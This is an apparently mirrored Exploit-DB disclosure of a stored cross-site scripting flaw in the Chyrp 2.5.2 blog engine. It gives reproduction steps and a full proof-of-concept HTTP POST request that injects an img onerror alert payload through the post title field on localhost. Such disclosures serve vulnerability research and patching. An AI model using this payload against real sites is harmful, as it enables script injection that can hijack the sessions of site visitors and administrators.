Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)

  • 作者: Ahmet Ümit BAYRAM
    日期: 2024-05-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/52013/
  • # Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
    # Date: 2024-04-24
    # Exploit Author: Ahmet Ümit BAYRAM
    # Vendor Homepage: https://github.com/chyrp/
    # Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip
    # Version: 2.5.2
    # Tested on: MacOS
    
    ### Steps to Reproduce ###
    
    - Login from the address: http://localhost/chyrp/?action=login.
    - Click on 'Write'.
    - Type this payload into the 'Title' field: "><img src=x onerror=alert(
    "Stored")>
    - Fill in the 'Body' area and click 'Publish'.
    - An alert message saying "Stored" will appear in front of you.
    
    ### PoC Request ###
    
    POST /chyrp/admin/?action=add_post HTTP/1.1
    Host: localhost
    Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
    show_more_options=true
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
    Gecko/20100101 Firefox/124.0
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
    */*;q=0.8
    Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Content-Type: multipart/form-data;
    boundary=---------------------------28307567523233313132815561598
    Content-Length: 1194
    Origin: http://localhost
    Referer: http://localhost/chyrp/admin/?action=write_post
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    Connection: close
    
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="title"
    
    "><img src=x onerror=alert("Stored")>
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="body"
    
    <p>1337</p>
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="status"
    
    public
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="slug"
    
    
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="created_at"
    
    04/24/24 12:31:57
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="original_time"
    
    04/24/24 12:31:57
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="trackbacks"
    
    
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="feather"
    
    text
    -----------------------------28307567523233313132815561598
    Content-Disposition: form-data; name="hash"
    
    11e11aba15114f918ec1c2e6b8f8ddcf
    -----------------------------28307567523233313132815561598--